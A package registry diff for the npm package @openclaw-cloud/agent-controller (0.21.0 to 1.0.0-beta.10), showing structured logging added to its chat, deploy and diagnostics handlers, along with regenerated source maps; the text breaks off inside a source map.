@openclaw-cloud/agent-controller 0.21.0 → 1.0.0-beta.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/api.d.ts +4 -0
- package/dist/api.js +10 -2
- package/dist/api.js.map +1 -1
- package/dist/commands/bootstrap.js +8 -8
- package/dist/commands/bootstrap.js.map +1 -1
- package/dist/commands/heartbeat-cli.js +5 -4
- package/dist/commands/heartbeat-cli.js.map +1 -1
- package/dist/commands/install-deps.js +18 -8
- package/dist/commands/install-deps.js.map +1 -1
- package/dist/commands/install.js +8 -8
- package/dist/commands/install.js.map +1 -1
- package/dist/commands/self-update.js +2 -1
- package/dist/commands/self-update.js.map +1 -1
- package/dist/config-file.js +14 -4
- package/dist/config-file.js.map +1 -1
- package/dist/config.d.ts +29 -0
- package/dist/config.js +81 -0
- package/dist/config.js.map +1 -0
- package/dist/connection.d.ts +2 -0
- package/dist/connection.js +27 -7
- package/dist/connection.js.map +1 -1
- package/dist/debug.js +2 -1
- package/dist/debug.js.map +1 -1
- package/dist/handlers/backup.js +4 -1
- package/dist/handlers/backup.js.map +1 -1
- package/dist/handlers/board-handler.d.ts +23 -1
- package/dist/handlers/board-handler.js +153 -27
- package/dist/handlers/board-handler.js.map +1 -1
- package/dist/handlers/chat.js +94 -6
- package/dist/handlers/chat.js.map +1 -1
- package/dist/handlers/deploy.js +16 -29
- package/dist/handlers/deploy.js.map +1 -1
- package/dist/handlers/diagnostics.js +12 -0
- package/dist/handlers/diagnostics.js.map +1 -1
- package/dist/handlers/knowledge-sync.js +21 -1
- package/dist/handlers/knowledge-sync.js.map +1 -1
- package/dist/handlers/memory.d.ts +7 -0
- package/dist/handlers/memory.js +41 -0
- package/dist/handlers/memory.js.map +1 -0
- package/dist/handlers/onboarding.js +18 -2
- package/dist/handlers/onboarding.js.map +1 -1
- package/dist/handlers/package-install.js +44 -12
- package/dist/handlers/package-install.js.map +1 -1
- package/dist/handlers/pair.js +14 -1
- package/dist/handlers/pair.js.map +1 -1
- package/dist/handlers/restart.js +3 -1
- package/dist/handlers/restart.js.map +1 -1
- package/dist/handlers/self-update.js +3 -1
- package/dist/handlers/self-update.js.map +1 -1
- package/dist/handlers/stop.js +7 -0
- package/dist/handlers/stop.js.map +1 -1
- package/dist/handlers/telegram-webhook.js +23 -0
- package/dist/handlers/telegram-webhook.js.map +1 -1
- package/dist/handlers/update-config.js +8 -2
- package/dist/handlers/update-config.js.map +1 -1
- package/dist/heartbeat.d.ts +7 -0
- package/dist/heartbeat.js +15 -65
- package/dist/heartbeat.js.map +1 -1
- package/dist/index.d.ts +1 -1
- package/dist/index.js +126 -23
- package/dist/index.js.map +1 -1
- package/dist/mcp-client.d.ts +29 -0
- package/dist/mcp-client.js +70 -0
- package/dist/mcp-client.js.map +1 -0
- package/dist/memory-mcp-server.d.ts +8 -0
- package/dist/memory-mcp-server.js +291 -0
- package/dist/memory-mcp-server.js.map +1 -0
- package/dist/platform/linux.js +7 -3
- package/dist/platform/linux.js.map +1 -1
- package/dist/platform/macos.js +4 -2
- package/dist/platform/macos.js.map +1 -1
- package/dist/platform/windows.js +4 -2
- package/dist/platform/windows.js.map +1 -1
- package/dist/providers/index.d.ts +1 -1
- package/dist/providers/index.js.map +1 -1
- package/dist/providers/mock/index.js.map +1 -1
- package/dist/providers/openclaw/device-identity.js +2 -2
- package/dist/providers/openclaw/device-identity.js.map +1 -1
- package/dist/providers/openclaw/gateway-adapter.js +19 -8
- package/dist/providers/openclaw/gateway-adapter.js.map +1 -1
- package/dist/providers/openclaw/gateway-client.js +9 -3
- package/dist/providers/openclaw/gateway-client.js.map +1 -1
- package/dist/providers/openclaw/index.js +14 -3
- package/dist/providers/openclaw/index.js.map +1 -1
- package/dist/skills/index.d.ts +1 -1
- package/dist/skills/index.js +1 -21
- package/dist/skills/index.js.map +1 -1
- package/dist/types.d.ts +1 -1
- package/dist/utils/apply-config.js +9 -5
- package/dist/utils/apply-config.js.map +1 -1
- package/dist/utils/claude-env.js +11 -5
- package/dist/utils/claude-env.js.map +1 -1
- package/dist/utils/env.js +2 -1
- package/dist/utils/env.js.map +1 -1
- package/dist/utils/knowledge-graph.d.ts +66 -0
- package/dist/utils/knowledge-graph.js +163 -0
- package/dist/utils/knowledge-graph.js.map +1 -0
- package/dist/utils/release-channel.js +2 -4
- package/dist/utils/release-channel.js.map +1 -1
- package/dist/workspace.js +4 -5
- package/dist/workspace.js.map +1 -1
- package/package.json +28 -5
- package/dist/skills/board-tools/SKILL.md +0 -75
- package/dist/skills/board-tools/scripts/board-artifact.sh +0 -56
- package/dist/skills/board-tools/scripts/board-artifacts.sh +0 -16
- package/dist/skills/board-tools/scripts/board-comment.sh +0 -23
- package/dist/skills/board-tools/scripts/board-move.sh +0 -13
- package/dist/skills/board-tools/scripts/board-result.sh +0 -35
package/dist/handlers/chat.js
CHANGED
|
@@ -1,42 +1,111 @@
|
|
|
1
1
|
import { getProvider } from '../providers/index.js';
|
|
2
2
|
import { toErrorMessage } from '../utils/response.js';
|
|
3
|
+
import { logCollector } from '../connection.js';
|
|
3
4
|
export async function handleChatListSessions(command, publish) {
|
|
5
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
6
|
+
commandId: command.id,
|
|
7
|
+
});
|
|
8
|
+
const startMs = Date.now();
|
|
4
9
|
const provider = getProvider();
|
|
5
10
|
if (!provider) {
|
|
6
|
-
|
|
11
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: Chat provider not available`, {
|
|
12
|
+
commandId: command.id,
|
|
13
|
+
durationMs: Date.now() - startMs,
|
|
14
|
+
});
|
|
15
|
+
await publish({
|
|
16
|
+
type: 'chat_sessions_response',
|
|
17
|
+
correlationId: command.id,
|
|
18
|
+
sessions: [],
|
|
19
|
+
error: 'Chat provider not available',
|
|
20
|
+
});
|
|
7
21
|
return;
|
|
8
22
|
}
|
|
9
23
|
try {
|
|
10
24
|
const sessions = await provider.listSessions();
|
|
25
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
26
|
+
commandId: command.id,
|
|
27
|
+
durationMs: Date.now() - startMs,
|
|
28
|
+
sessionCount: sessions.length,
|
|
29
|
+
});
|
|
11
30
|
await publish({ type: 'chat_sessions_response', correlationId: command.id, sessions });
|
|
12
31
|
}
|
|
13
32
|
catch (err) {
|
|
14
|
-
|
|
33
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: ${toErrorMessage(err)}`, {
|
|
34
|
+
commandId: command.id,
|
|
35
|
+
durationMs: Date.now() - startMs,
|
|
36
|
+
});
|
|
37
|
+
await publish({
|
|
38
|
+
type: 'chat_sessions_response',
|
|
39
|
+
correlationId: command.id,
|
|
40
|
+
sessions: [],
|
|
41
|
+
error: toErrorMessage(err),
|
|
42
|
+
});
|
|
15
43
|
}
|
|
16
44
|
}
|
|
17
45
|
export async function handleChatHistory(command, publish) {
|
|
46
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
47
|
+
commandId: command.id,
|
|
48
|
+
});
|
|
49
|
+
const startMs = Date.now();
|
|
18
50
|
const { sessionKey, limit } = command.payload;
|
|
19
51
|
const provider = getProvider();
|
|
20
52
|
if (!provider) {
|
|
21
|
-
|
|
53
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: Chat provider not available`, {
|
|
54
|
+
commandId: command.id,
|
|
55
|
+
durationMs: Date.now() - startMs,
|
|
56
|
+
});
|
|
57
|
+
await publish({
|
|
58
|
+
type: 'chat_history_response',
|
|
59
|
+
correlationId: command.id,
|
|
60
|
+
messages: [],
|
|
61
|
+
error: 'Chat provider not available',
|
|
62
|
+
});
|
|
22
63
|
return;
|
|
23
64
|
}
|
|
24
65
|
try {
|
|
25
66
|
const messages = await provider.getHistory(sessionKey, limit ?? 200);
|
|
67
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
68
|
+
commandId: command.id,
|
|
69
|
+
durationMs: Date.now() - startMs,
|
|
70
|
+
messageCount: messages.length,
|
|
71
|
+
});
|
|
26
72
|
await publish({ type: 'chat_history_response', correlationId: command.id, messages });
|
|
27
73
|
}
|
|
28
74
|
catch (err) {
|
|
29
|
-
|
|
75
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: ${toErrorMessage(err)}`, {
|
|
76
|
+
commandId: command.id,
|
|
77
|
+
durationMs: Date.now() - startMs,
|
|
78
|
+
});
|
|
79
|
+
await publish({
|
|
80
|
+
type: 'chat_history_response',
|
|
81
|
+
correlationId: command.id,
|
|
82
|
+
messages: [],
|
|
83
|
+
error: toErrorMessage(err),
|
|
84
|
+
});
|
|
30
85
|
}
|
|
31
86
|
}
|
|
32
87
|
export async function handleChatSend(command, publish, agentId) {
|
|
88
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
89
|
+
commandId: command.id,
|
|
90
|
+
});
|
|
91
|
+
const startMs = Date.now();
|
|
33
92
|
const { sessionKey, text, attachments } = command.payload;
|
|
34
93
|
const correlationId = command.id;
|
|
35
94
|
// Typing indicator
|
|
36
95
|
await publish({ type: 'chat_typing', agentId, state: true }).catch(() => { });
|
|
37
96
|
const provider = getProvider();
|
|
38
97
|
if (!provider) {
|
|
39
|
-
|
|
98
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: Chat provider not available`, {
|
|
99
|
+
commandId: command.id,
|
|
100
|
+
durationMs: Date.now() - startMs,
|
|
101
|
+
});
|
|
102
|
+
await publish({
|
|
103
|
+
type: 'chat_response',
|
|
104
|
+
correlationId,
|
|
105
|
+
sessionKey,
|
|
106
|
+
text: '',
|
|
107
|
+
error: 'Chat provider not available',
|
|
108
|
+
});
|
|
40
109
|
return;
|
|
41
110
|
}
|
|
42
111
|
try {
|
|
@@ -49,15 +118,34 @@ export async function handleChatSend(command, publish, agentId) {
|
|
|
49
118
|
await publish({ type: 'chat_delta', correlationId, sessionKey, text: accumulated }).catch(() => { });
|
|
50
119
|
},
|
|
51
120
|
onDone: async (finalText) => {
|
|
121
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
122
|
+
commandId: command.id,
|
|
123
|
+
durationMs: Date.now() - startMs,
|
|
124
|
+
sessionKey,
|
|
125
|
+
});
|
|
52
126
|
await publish({ type: 'chat_response', correlationId, sessionKey, text: finalText }).catch(() => { });
|
|
53
127
|
},
|
|
54
128
|
onError: async (error) => {
|
|
129
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: ${error}`, {
|
|
130
|
+
commandId: command.id,
|
|
131
|
+
durationMs: Date.now() - startMs,
|
|
132
|
+
});
|
|
55
133
|
await publish({ type: 'chat_response', correlationId, sessionKey, text: '', error }).catch(() => { });
|
|
56
134
|
},
|
|
57
135
|
});
|
|
58
136
|
}
|
|
59
137
|
catch (err) {
|
|
60
|
-
|
|
138
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: ${toErrorMessage(err)}`, {
|
|
139
|
+
commandId: command.id,
|
|
140
|
+
durationMs: Date.now() - startMs,
|
|
141
|
+
});
|
|
142
|
+
await publish({
|
|
143
|
+
type: 'chat_response',
|
|
144
|
+
correlationId,
|
|
145
|
+
sessionKey,
|
|
146
|
+
text: '',
|
|
147
|
+
error: toErrorMessage(err),
|
|
148
|
+
}).catch(() => { });
|
|
61
149
|
}
|
|
62
150
|
}
|
|
63
151
|
//# sourceMappingURL=chat.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"chat.js","sourceRoot":"","sources":["../../src/handlers/chat.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,WAAW,EAAE,MAAM,uBAAuB,CAAC;AACpD,OAAO,EAAE,cAAc,EAAE,MAAM,sBAAsB,CAAC;
|
|
1
|
+
{"version":3,"file":"chat.js","sourceRoot":"","sources":["../../src/handlers/chat.ts"],"names":[],"mappings":"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"}
|
package/dist/handlers/deploy.js
CHANGED
|
@@ -1,34 +1,21 @@
|
|
|
1
|
-
import {
|
|
1
|
+
import { handleGatewayRestartCommand } from '../utils/gateway-restart-handler.js';
|
|
2
|
+
import { logCollector } from '../connection.js';
|
|
2
3
|
export async function handleDeploy(command) {
|
|
3
|
-
const
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
}
|
|
4
|
+
const startMs = Date.now();
|
|
5
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
6
|
+
commandId: command.id,
|
|
7
|
+
});
|
|
8
|
+
const response = await handleGatewayRestartCommand(command);
|
|
9
|
+
const durationMs = Date.now() - startMs;
|
|
10
|
+
if (response.success) {
|
|
11
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
12
|
+
commandId: command.id,
|
|
13
|
+
durationMs,
|
|
14
|
+
});
|
|
11
15
|
}
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
return {
|
|
15
|
-
id: command.id,
|
|
16
|
-
type: 'deploy',
|
|
17
|
-
success: true,
|
|
18
|
-
data: { restart: { stdout: '', stderr: '' } },
|
|
19
|
-
};
|
|
20
|
-
}
|
|
21
|
-
catch (err) {
|
|
22
|
-
const e = err;
|
|
23
|
-
return {
|
|
24
|
-
id: command.id,
|
|
25
|
-
type: 'deploy',
|
|
26
|
-
success: false,
|
|
27
|
-
data: {
|
|
28
|
-
restart: { stdout: e.stdout ?? '', stderr: e.stderr ?? '' },
|
|
29
|
-
},
|
|
30
|
-
error: `Restart failed: ${e.message}`,
|
|
31
|
-
};
|
|
16
|
+
else {
|
|
17
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: ${response.error ?? ''}`, { commandId: command.id, durationMs });
|
|
32
18
|
}
|
|
19
|
+
return response;
|
|
33
20
|
}
|
|
34
21
|
//# sourceMappingURL=deploy.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"deploy.js","sourceRoot":"","sources":["../../src/handlers/deploy.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,
|
|
1
|
+
{"version":3,"file":"deploy.js","sourceRoot":"","sources":["../../src/handlers/deploy.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,2BAA2B,EAAE,MAAM,qCAAqC,CAAC;AAClF,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,CAAC,KAAK,UAAU,YAAY,CAAC,OAAqB;IACtD,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAC3B,YAAY,EAAE,IAAI,CAAC,kBAAkB,EAAE,MAAM,EAAE,YAAY,OAAO,CAAC,IAAI,EAAE,EAAE;QACzE,SAAS,EAAE,OAAO,CAAC,EAAE;KACtB,CAAC,CAAC;IACH,MAAM,QAAQ,GAAG,MAAM,2BAA2B,CAAC,OAAO,CAAC,CAAC;IAC5D,MAAM,UAAU,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,OAAO,CAAC;IACxC,IAAI,QAAQ,CAAC,OAAO,EAAE,CAAC;QACrB,YAAY,EAAE,IAAI,CAAC,mBAAmB,EAAE,MAAM,EAAE,GAAG,OAAO,CAAC,IAAI,YAAY,EAAE;YAC3E,SAAS,EAAE,OAAO,CAAC,EAAE;YACrB,UAAU;SACX,CAAC,CAAC;IACL,CAAC;SAAM,CAAC;QACN,YAAY,EAAE,IAAI,CAChB,gBAAgB,EAChB,OAAO,EACP,GAAG,OAAO,CAAC,IAAI,YAAY,QAAQ,CAAC,KAAK,IAAI,EAAE,EAAE,EACjD,EAAE,SAAS,EAAE,OAAO,CAAC,EAAE,EAAE,UAAU,EAAE,CACtC,CAAC;IACJ,CAAC;IACD,OAAO,QAAQ,CAAC;AAClB,CAAC"}
|
|
@@ -1,4 +1,5 @@
|
|
|
1
1
|
import { exec } from 'node:child_process';
|
|
2
|
+
import { logCollector } from '../connection.js';
|
|
2
3
|
const DIAGNOSTICS_TIMEOUT = 10_000;
|
|
3
4
|
const ALLOWED_CHECKS = {
|
|
4
5
|
disk_usage: 'df -h',
|
|
@@ -22,8 +23,14 @@ function runCheck(cmd) {
|
|
|
22
23
|
});
|
|
23
24
|
}
|
|
24
25
|
export async function handleDiagnostics(command) {
|
|
26
|
+
const startMs = Date.now();
|
|
27
|
+
logCollector?.push('command_received', 'info', `Command: ${command.type}`, {
|
|
28
|
+
commandId: command.id,
|
|
29
|
+
});
|
|
25
30
|
const checks = command.payload.checks;
|
|
26
31
|
if (!Array.isArray(checks) || checks.length === 0) {
|
|
32
|
+
const durationMs = Date.now() - startMs;
|
|
33
|
+
logCollector?.push('command_failed', 'error', `${command.type} failed: Missing "checks" array in payload`, { commandId: command.id, durationMs });
|
|
27
34
|
return {
|
|
28
35
|
id: command.id,
|
|
29
36
|
type: 'diagnostics',
|
|
@@ -40,6 +47,11 @@ export async function handleDiagnostics(command) {
|
|
|
40
47
|
}
|
|
41
48
|
results[key] = await runCheck(cmd);
|
|
42
49
|
}
|
|
50
|
+
const durationMs = Date.now() - startMs;
|
|
51
|
+
logCollector?.push('command_completed', 'info', `${command.type} completed`, {
|
|
52
|
+
commandId: command.id,
|
|
53
|
+
durationMs,
|
|
54
|
+
});
|
|
43
55
|
return {
|
|
44
56
|
id: command.id,
|
|
45
57
|
type: 'diagnostics',
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/handlers/diagnostics.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;
|
|
1
|
+
{"version":3,"file":"diagnostics.js","sourceRoot":"","sources":["../../src/handlers/diagnostics.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAE1C,OAAO,EAAE,YAAY,EAAE,MAAM,kBAAkB,CAAC;AAEhD,MAAM,mBAAmB,GAAG,MAAM,CAAC;AAEnC,MAAM,cAAc,GAA2B;IAC7C,UAAU,EAAE,OAAO;IACnB,WAAW,EAAE,oBAAoB;IACjC,MAAM,EAAE,QAAQ;IAChB,cAAc,EAAE,gCAAgC;IAChD,YAAY,EAAE,gBAAgB;IAC9B,kBAAkB,EAAE,wDAAwD;IAC5E,SAAS,EAAE,+BAA+B;CAC3C,CAAC;AASF,SAAS,QAAQ,CAAC,GAAW;IAC3B,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,EAAE;QAC7B,IAAI,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,mBAAmB,EAAE,EAAE,CAAC,KAAK,EAAE,MAAM,EAAE,MAAM,EAAE,EAAE;YACpE,OAAO,CAAC;gBACN,MAAM,EAAE,MAAM,CAAC,QAAQ,EAAE;gBACzB,MAAM,EAAE,MAAM,CAAC,QAAQ,EAAE;gBACzB,OAAO,EAAE,CAAC,KAAK;gBACf,GAAG,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,KAAK,EAAE,KAAK,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,CAAC;aAC3C,CAAC,CAAC;QACL,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,iBAAiB,CAAC,OAAqB;IAC3D,MAAM,OAAO,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;IAC3B,